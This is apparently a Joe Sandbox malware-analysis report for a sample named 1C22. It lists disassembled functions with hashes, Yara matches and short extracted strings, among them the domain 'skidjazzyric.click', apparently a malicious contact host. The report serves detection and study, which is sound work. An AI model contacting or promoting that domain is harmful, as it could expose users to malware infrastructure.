Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID: InitializeThunk
String ID: D`a&$NMNO$bX_^
API String ID: 2994545307-620122162
Opcode ID: 51c52ee6fa743efb5b12906464a989dcb7610fc356cb75f60a3162c2e45413f4
Instruction ID: 6e9e5fc7c2cb7ec0ed59593f00f51acd5d9bbc11244cb29e2d173750d6d6eb6d
Opcode Fuzzy Hash: 51c52ee6fa743efb5b12906464a989dcb7610fc356cb75f60a3162c2e45413f4
Instruction Fuzzy Hash: 558167312083014FE318DF24DC8166BB7A2EBC5328F69862DE5A54B391DB79ED0AC759

Function 00414C20 Relevance: 3.5, Strings: 2, Instructions: 989COMMON

Download Yara Rule

Strings

UA, xrefs: 004155D4
NP,?, xrefs: 00415070

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: NP,?$UA
API String ID: 0-2573221895
Opcode ID: f3b4bdac48d04733325c366b291ac1942f3de7c5feead7c6aebd27b0ca121fbf
Instruction ID: 7e2827b50fa6ca7fd58d98589243822aea337e03717d5c259c09a672e0419966
Opcode Fuzzy Hash: f3b4bdac48d04733325c366b291ac1942f3de7c5feead7c6aebd27b0ca121fbf
Instruction Fuzzy Hash: 1F522475608310DBD714DF28DC82BAB73A2EBC6314F58463DF995872E1E738A846C789

Function 0042B170 Relevance: 2.9, Strings: 2, Instructions: 428COMMON

Download Yara Rule

Strings

?;;, xrefs: 0042B3AA
{wBy, xrefs: 0042B538

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: {wBy$?;;
API String ID: 0-3800777323
Opcode ID: ae1563bb26e5b034f74fb841f5d8e6b326ce722d7a4ccc89e03eadf425dba48e
Instruction ID: c7db1f9763108cdebf81104c4566820d91597438b4a38115d6d9003e34c696d3
Opcode Fuzzy Hash: ae1563bb26e5b034f74fb841f5d8e6b326ce722d7a4ccc89e03eadf425dba48e
Instruction Fuzzy Hash: 1AF1F1B4A08350DFD3159F28E89172BB7E1EF86308F484A6DF4D5872A2D3399901DB5A

Function 0210E249 Relevance: 2.8, Strings: 2, Instructions: 311COMMON

Download Yara Rule

Strings

skidjazzyric.click, xrefs: 0210E5A6
UXY^, xrefs: 0210E4FC

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID: UXY^$skidjazzyric.click
API String ID: 0-1204630608
Opcode ID: 6a3e78332c11f0f55536a65cbe22653fee9e07ab791520d2a790fd43c4da64a1
Instruction ID: 36a2f563dffbc950d33f107955b6241340eabd8a5ff9c9aa4c75c12c97de5944
Opcode Fuzzy Hash: 6a3e78332c11f0f55536a65cbe22653fee9e07ab791520d2a790fd43c4da64a1
Instruction Fuzzy Hash: 329105B5604B818FD3158F26C9D0662FBA2FF56304B19869CC0D28FB56C779E406CF95

Function 0040DFE2 Relevance: 2.8, Strings: 2, Instructions: 311COMMON

Download Yara Rule

Strings

UXY^, xrefs: 0040E295
skidjazzyric.click, xrefs: 0040E33F

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: UXY^$skidjazzyric.click
API String ID: 0-1204630608
Opcode ID: 6a3e78332c11f0f55536a65cbe22653fee9e07ab791520d2a790fd43c4da64a1
Instruction ID: d4a14a9f2c2f0854964ffc34a88a484fd9aac6a31bc7c6ca58301aeff22ad83a
Opcode Fuzzy Hash: 6a3e78332c11f0f55536a65cbe22653fee9e07ab791520d2a790fd43c4da64a1
Instruction Fuzzy Hash: B79135B5504B418FD315CF2AC990622FBA2FF96300B188AACC0D24FB56C738E816CF95

Function 021276F7 Relevance: 2.8, Strings: 2, Instructions: 284COMMON

Download Yara Rule

Strings

yr, xrefs: 02127835
o~, xrefs: 0212784D

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID: o~$yr
API String ID: 0-1013308823
Opcode ID: f353fb7c42ac297e1fe1c84090b810e7596e2eb7232e841eeaea4071bc621b13
Instruction ID: ccddbab88ac9dbbc84c2e044d8d2c8942bd826e3034fd6aaf9af98ae2c9f5395
Opcode Fuzzy Hash: f353fb7c42ac297e1fe1c84090b810e7596e2eb7232e841eeaea4071bc621b13
Instruction Fuzzy Hash: E391267694C3608BD320DF19C854A6BF7E2EFC5324F09892CE9D95B391E7B4850AC786

Function 00427490 Relevance: 2.8, Strings: 2, Instructions: 284COMMON

Download Yara Rule

Strings

o~, xrefs: 004275E6
yr, xrefs: 004275CE

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: o~$yr
API String ID: 0-1013308823
Opcode ID: c9d48b95859aed5604db22a7b535e1b994fc6fc23f247b972c2d66fa384cb495
Instruction ID: 9949b5826033667454bdd212c251d03fc0b1eef30724b4879d74d6325ed2a79f
Opcode Fuzzy Hash: c9d48b95859aed5604db22a7b535e1b994fc6fc23f247b972c2d66fa384cb495
Instruction Fuzzy Hash: 48913975A0C3208BD320DF19D84066BBBE2EFD5324F09892DE9D95B391E7B8C905C786

Function 02142F87 Relevance: 2.8, Strings: 2, Instructions: 282COMMON

Download Yara Rule

Strings

NMNO, xrefs: 02143087
D`a&, xrefs: 0214313C

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID: D`a&$NMNO
API String ID: 0-4143563191
Opcode ID: 5cbc5e9f98f1ccd62bdde588abdd2110c86d4ae90a24e8516f9eedc10dd1988b
Instruction ID: e1338bde36659543b433f2822998b76e3412c76adc1f1493ac4d857675c59c7b
Opcode Fuzzy Hash: 5cbc5e9f98f1ccd62bdde588abdd2110c86d4ae90a24e8516f9eedc10dd1988b
Instruction Fuzzy Hash: 268136316483455FD318DF28DC81A6BB7A3EFC5328F29C66CE9A94B391DB31A809C751

Function 021284E7 Relevance: 2.6, Strings: 2, Instructions: 70COMMON

Download Yara Rule

Strings

:7$%, xrefs: 0212855D, 0212852C
:7$%, xrefs: 021285DC

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID: :7$%$:7$%
API String ID: 0-2391988857
Opcode ID: f03a1582adfb2917490f5b92725fb54028286632f3ed6b7bc30f9f8cb79f3731
Instruction ID: b1a9c986a6c8a153888d36987e1bae779e1067417a18ba2696bd65e9dbf51bd0
Opcode Fuzzy Hash: f03a1582adfb2917490f5b92725fb54028286632f3ed6b7bc30f9f8cb79f3731
Instruction Fuzzy Hash: B421B0715183908BD7089F79C964B6FFBE6BF86318F145A2CE1D287291DBB4C409CB82

Function 00428280 Relevance: 2.6, Strings: 2, Instructions: 70COMMON

Download Yara Rule

Strings

:7$%, xrefs: 004282F6, 004282C5
:7$%, xrefs: 00428375

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: :7$%$:7$%
API String ID: 0-2391988857
Opcode ID: f10387fb3a1dea8b0350fba9c1e9ca61dc6ddde05eb87b29ee48f7488e223d9f
Instruction ID: 0de6392d9aeb990522659998ecc2397938767f988235b0ae13ec08bed24327b9
Opcode Fuzzy Hash: f10387fb3a1dea8b0350fba9c1e9ca61dc6ddde05eb87b29ee48f7488e223d9f
Instruction Fuzzy Hash: BA21F1701093908BD7089B69C865B6FFBE4AB86318F105A2DE1D2872D1DBB48809CB82

Function 0210AC99 Relevance: 2.6, Strings: 2, Instructions: 64COMMON

Download Yara Rule

Strings

MO, xrefs: 0210AC9E
MO, xrefs: 0210AC36

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID: MO$MO
API String ID: 0-3148518880
Opcode ID: 15a7f7520f170cbb2b7e14720c3e61eb56271343ee20c45e820ed2ad2248e475
Instruction ID: f23d8909be9cac85cdd2bb68434d9148cd9c1c476272fef1fddd2926260da402
Opcode Fuzzy Hash: 15a7f7520f170cbb2b7e14720c3e61eb56271343ee20c45e820ed2ad2248e475
Instruction Fuzzy Hash: 5F1197741843858BEF148FA89ED2667BFA0EF46220F249998DD855F38BC778C502CF64

Function 02140694 Relevance: 2.5, Strings: 2, Instructions: 44COMMON

Download Yara Rule

Strings

7&'$, xrefs: 021406AC
vA\, xrefs: 02140703

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID: 7&'$$vA\
API String ID: 0-2621209329
Opcode ID: f2599c7c96a7284751bba45eaee817ab4aef05cb3a374ec363b854a8fb74a6dc
Instruction ID: f56a36cb5a2328df8591713326f5a73b0afb96c76a988bbf2a1fa24c884f6c9f
Opcode Fuzzy Hash: f2599c7c96a7284751bba45eaee817ab4aef05cb3a374ec363b854a8fb74a6dc
Instruction Fuzzy Hash: 77F068345545944BDB958F3D98996BE67F0E757214F202AB5C65BE32A2CB31C4828F08

Function 0044042D Relevance: 2.5, Strings: 2, Instructions: 44COMMON

Download Yara Rule

Strings

7&'$, xrefs: 00440445
vA\, xrefs: 0044049C

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: 7&'$$vA\
API String ID: 0-2621209329
Opcode ID: f2599c7c96a7284751bba45eaee817ab4aef05cb3a374ec363b854a8fb74a6dc
Instruction ID: 095e66cfb836127910944c44464487434cf5069dbd9256ca3ed79a62a3e9a21d
Opcode Fuzzy Hash: f2599c7c96a7284751bba45eaee817ab4aef05cb3a374ec363b854a8fb74a6dc
Instruction Fuzzy Hash: 02F09C745145544BEB918F7C98996BF67F0F713214F302BB5C65AE32A2C634C8914F0C

Function 00405AB0 Relevance: 1.9, APIs: 1, Instructions: 448COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 782d56cc06f3b6973921e2512ebb950397a26f9326316825ec2b076d036e3b03
Instruction ID: c31a76099084191e3034c22a37ea28885ef806c0d431935db3893f7feff996f6
Opcode Fuzzy Hash: 782d56cc06f3b6973921e2512ebb950397a26f9326316825ec2b076d036e3b03
Instruction Fuzzy Hash: 92F1DE356087418FC724CF29C88066BFBE6EFD9300F08882EE5D597791E679E845CB96

Function 02117AE4 Relevance: 1.8, APIs: 1, Instructions: 334COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,00000000,?), ref: 02117E61

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 6f91205ced5711e4090e4a0634995b8efc192ef3404d94e99f17bb35127df139
Instruction ID: 17589f4ea65a266eae853b6b3a1ee5662cabae491b25076f3ba45119e7b70803
Opcode Fuzzy Hash: 6f91205ced5711e4090e4a0634995b8efc192ef3404d94e99f17bb35127df139
Instruction Fuzzy Hash: D8B1E0769487218BC314CF28C8917AAF7E2FFD9314F19962CE8C55B394E7389902C796

Function 021225E7 Relevance: 1.6, Strings: 1, Instructions: 396COMMON

Download Yara Rule

Strings

:;, xrefs: 02122613

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID: :;
API String ID: 0-3581617570
Opcode ID: 7fda9392dab92b0c76c3cf4899473e7ebc01ceaa019578965055405904a6ce5a
Instruction ID: 3983290d6fd2335681fc544608f0b0aa6463c583f74d04b6e5b87d4475d88796
Opcode Fuzzy Hash: 7fda9392dab92b0c76c3cf4899473e7ebc01ceaa019578965055405904a6ce5a
Instruction Fuzzy Hash: 5EA1E572A883209BD7149F24CC817AF73E1EF81324F198528FC959B291E375ED59C752

Function 00422380 Relevance: 1.6, Strings: 1, Instructions: 396COMMON

Download Yara Rule

Strings

:;, xrefs: 004223AC

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: :;
API String ID: 0-3581617570
Opcode ID: 6a52f198b57349a9125188c5d59238d1b2a42cd5f44dbda01648a119b6730dd6
Instruction ID: a8ce0ab78c4be7f089376efb71ad2075c1d737e56b9c5b96f1916c659004ebff
Opcode Fuzzy Hash: 6a52f198b57349a9125188c5d59238d1b2a42cd5f44dbda01648a119b6730dd6
Instruction Fuzzy Hash: FCA11972605320ABD7109F24ED8276B73E0EF85358F88852EF8959B391E3BCDD05875A

Function 0213C807 Relevance: 1.6, Strings: 1, Instructions: 385COMMON

Download Yara Rule

Strings

NP,?, xrefs: 0213CA27

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID: NP,?
API String ID: 0-3110377521
Opcode ID: 9a5fae3dd16c561d9c5a6a93a9271e2a35235290781d04eedd2e3e01a9d132d7
Instruction ID: 993707e29881803d9eeff06886ba90ad4faafeb075afa3bf8289254efe38a485
Opcode Fuzzy Hash: 9a5fae3dd16c561d9c5a6a93a9271e2a35235290781d04eedd2e3e01a9d132d7
Instruction Fuzzy Hash: 40A149726843109BD725CF28CCC1B7BB7A7EBC5728F19862DE59867294D7319801CBD1

Function 0043C5A0 Relevance: 1.6, Strings: 1, Instructions: 385COMMON

Download Yara Rule

Strings

NP,?, xrefs: 0043C7C0

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: NP,?
API String ID: 0-3110377521
Opcode ID: 17216c8d87d4e8e81bd804f530d0a76fed2526bdcd0029c80ac48228635f7650
Instruction ID: f65ccde577a60585fc50111e68a200c88a0f1f1b3df19762a23bd62bb81c5e5c
Opcode Fuzzy Hash: 17216c8d87d4e8e81bd804f530d0a76fed2526bdcd0029c80ac48228635f7650
Instruction Fuzzy Hash: 5DA18E75A083209BD324DF19CCC173BB3A6EBC9324F19962EE995673D1D738AC018799

Function 0211C148 Relevance: 1.6, Strings: 1, Instructions: 341COMMON

Download Yara Rule

Strings

'', xrefs: 0211C5C7, 0211C5CB

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID: ''
API String ID: 0-694448769
Opcode ID: a548ca7d71b087bc765c9bc90a6e196857b17e46627d6a49092d6998d688bd5c
Instruction ID: 3883b6cc8dcef48c76b85bebe2a1d7b4bfb12ab289dbd19937482fd30b24428d
Opcode Fuzzy Hash: a548ca7d71b087bc765c9bc90a6e196857b17e46627d6a49092d6998d688bd5c
Instruction Fuzzy Hash: A39110B16983108BC314CF28C89166BB7E2EFC1364F189A2DE8D68B790E778C505C797

Function 0041BEE1 Relevance: 1.6, Strings: 1, Instructions: 341COMMON

Download Yara Rule

Strings

'', xrefs: 0041C360, 0041C364

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: ''
API String ID: 0-694448769
Opcode ID: 3b0b746955fa4b0b429feefe4d7ac8e528ed3bbb5661132fa39252583aba68ff
Instruction ID: 51f56407e220038c845c571476400c53c6676d21aaa49407b98741bf0e440936
Opcode Fuzzy Hash: 3b0b746955fa4b0b429feefe4d7ac8e528ed3bbb5661132fa39252583aba68ff
Instruction Fuzzy Hash: 589124756483108BC3148F28CC912ABB7E2EFD5354F18D92DE8D58B391E778C945C79A

Function 00416ED0 Relevance: 1.6, Strings: 1, Instructions: 330COMMON

Download Yara Rule

Strings

*+, xrefs: 00417069

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: *+
API String ID: 0-2181965719
Opcode ID: 3410610abae8d48260fb0cfb57a2c63bba9af19cc751d7d22af9eb137d7409aa
Instruction ID: a6a176cfa994aee3612649f895d437fda5b17e7ce8ddb12fb8ae0738439bb6c9
Opcode Fuzzy Hash: 3410610abae8d48260fb0cfb57a2c63bba9af19cc751d7d22af9eb137d7409aa
Instruction Fuzzy Hash: 0BB177B15093818BD7318F25C8917EBBBF1EF96314F18892DD4C98B391EB384446CB8A

Function 021426D7 Relevance: 1.5, Strings: 1, Instructions: 294COMMON

Download Yara Rule

Strings

_\]R, xrefs: 021426F7

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID: _\]R
API String ID: 0-1576797437
Opcode ID: ded7eeee8ad350a6afe0009bc7ce961d3544678ba9de2a86e57f9a76fab24472
Instruction ID: 423a7ca2f62ec043ce47bbd2c4737e90bf8997a8b7dc59a4ed136a52272c5c1e
Opcode Fuzzy Hash: ded7eeee8ad350a6afe0009bc7ce961d3544678ba9de2a86e57f9a76fab24472
Instruction Fuzzy Hash: 799128316483529BC718DF28C850A6FB7E2EFD9324F19856CF9C997291EB31D841CB86

Function 00442470 Relevance: 1.5, Strings: 1, Instructions: 294COMMON

Download Yara Rule

Strings

_\]R, xrefs: 00442490

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID: InitializeThunk
String ID: _\]R
API String ID: 2994545307-1576797437
Opcode ID: d1a17ae9281935e45702211bc9a64af948fb1502c71222f37c67c9fe5edd75b8
Instruction ID: 67d2bc21efa779ec1b2302c596d4d55850990720b38256b1c81cc65d81c9891d
Opcode Fuzzy Hash: d1a17ae9281935e45702211bc9a64af948fb1502c71222f37c67c9fe5edd75b8
Instruction Fuzzy Hash: 729114315083119BD718DF28D9A0A2FB7E2EFD9314F59862DF48697391E774E802C78A

Function 004427B0 Relevance: 1.5, Strings: 1, Instructions: 247COMMON

Download Yara Rule

Strings

=^"\, xrefs: 004428B7

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: =^"\
API String ID: 0-2152245029
Opcode ID: 5d48baccbf68c9a420e3b87b0224fb92148870bc23ec7fb025ccf02abde862b7
Instruction ID: 31f6d952e69ddc92c57c3d15082e8394249c76af6de0d574896d183d93ceef01
Opcode Fuzzy Hash: 5d48baccbf68c9a420e3b87b0224fb92148870bc23ec7fb025ccf02abde862b7
Instruction Fuzzy Hash: 4281DE383052019BE724DF1CD990A2BB3E2EF89314F54866DF9858B3A0DB35EC51CB0A

Function 0212DA97 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

", xrefs: 0212DC95

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction ID: b68b8ee6eb1f2a40f800c4263b7cabbb4edcd2fabbd5b452baf09f5c928b4adb
Opcode Fuzzy Hash: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction Fuzzy Hash: 0D71E132A483694BD7248E28E89031EB7E2EBC6714F19D52DF4949B391D375DC6CCB82

Function 0042D830 Relevance: 1.5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

Strings

", xrefs: 0042DA2E

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction ID: 6564e7b3ad14b453794cbf2f19722db2d5742acb1a2f8ce2a072c031a44184fe
Opcode Fuzzy Hash: 08379c2cfec4ee4560f7149afc2674de524dbb751cb7c6d8c58db735b762b861
Instruction Fuzzy Hash: 23710432F083254BD714CE28E88071FBBE2ABC5710FA9852EE4958B391D239DD45878A

Function 0211AB67 Relevance: 1.5, Strings: 1, Instructions: 201COMMON

Download Yara Rule

Strings

_;=8, xrefs: 0211ACBF

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID: _;=8
API String ID: 0-3640539833
Opcode ID: cde9169defac7f2d6903167d29639d2391a51efbddd28276b42fe9cde3aea7aa
Instruction ID: 444e3a20757e40161321b7d149714b1cf4b28fe595423ac9573433922ff3365f
Opcode Fuzzy Hash: cde9169defac7f2d6903167d29639d2391a51efbddd28276b42fe9cde3aea7aa
Instruction Fuzzy Hash: 5C51EFB0511B408BC7389F25C8617B7BBF1EF42349B084E6DC5C38BA45E739A509CBA1

Function 0041A900 Relevance: 1.5, Strings: 1, Instructions: 201COMMON

Download Yara Rule

Strings

_;=8, xrefs: 0041AA58

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: _;=8
API String ID: 0-3640539833
Opcode ID: cde9169defac7f2d6903167d29639d2391a51efbddd28276b42fe9cde3aea7aa
Instruction ID: e58a9c241393c577c0dbf69e703309a02622358f74323d7420d86702d8d0d07f
Opcode Fuzzy Hash: cde9169defac7f2d6903167d29639d2391a51efbddd28276b42fe9cde3aea7aa
Instruction Fuzzy Hash: 245112B0521B008BC7249F25C8616B3BBF1EF52345B084E5DC4C38BB45E739A948CBA5

Function 02117137 Relevance: 1.4, Strings: 1, Instructions: 161COMMON

Download Yara Rule

Strings

*+, xrefs: 021172D0

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID: *+
API String ID: 0-2181965719
Opcode ID: 2bbcc82fd047366a200e277a7b52cff4fec95a2559de0f56e174b4bebb18c894
Instruction ID: 3e6b2c37756b795338a32a0e5b6c8f60277c8445bb85ae85ea34af1dfdc4dc72
Opcode Fuzzy Hash: 2bbcc82fd047366a200e277a7b52cff4fec95a2559de0f56e174b4bebb18c894
Instruction Fuzzy Hash: E4612FB144A3818BD371CF2588917DBFBE2AF96318F14892CD5C89B294EB384146CB87

Function 02140E12 Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

}I\, xrefs: 02140F0D

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2100000_1C22.jbxd

Yara matches

Similarity

API ID:
String ID: }I\
API String ID: 0-3759065986
Opcode ID: df1d40a0c1601d316635205874302e9800cae571c9b88acd49baf0bd568f005e
Instruction ID: 8d8a9ec3e315515b55e14745e5f4a637f183bb5fe625cb81f23eee33c11acab2
Opcode Fuzzy Hash: df1d40a0c1601d316635205874302e9800cae571c9b88acd49baf0bd568f005e
Instruction Fuzzy Hash: 6A31BE705646928BDB15CF35C891BB6BBF0FF4B214B144758C8C59B681EB38A592CB81

Function 00440BAB Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

}I\, xrefs: 00440CA6

Memory Dump Source

Source File: 00000003.00000002.1661040021.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1661040021.0000000000455000.00000040.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_1C22.jbxd

Similarity

API ID:
String ID: }I\
API String ID: 0-3759065986
Opcode ID: df1d40a0c1601d316635205874302e9800cae571c9b88acd49baf0bd568f005e
Instruction ID: 06326f033c1d303d2a0c44ae50e6a95f42fac71f38a9198839615570ed5a6674
Opcode Fuzzy Hash: df1d40a0c1601d316635205874302e9800cae571c9b88acd49baf0bd568f005e
Instruction Fuzzy Hash: 653126605546928BEB258F34C8A27B7BBB0FF47310F144759C8C18B785EB78A992CB85

Function 02116D15 Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

, xrefs: 02116D4C, 02116D8F, 02116DD2

Memory Dump Source

Source File: 00000003.00000002.1661548416.0000000002100000.00000040.00001000.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

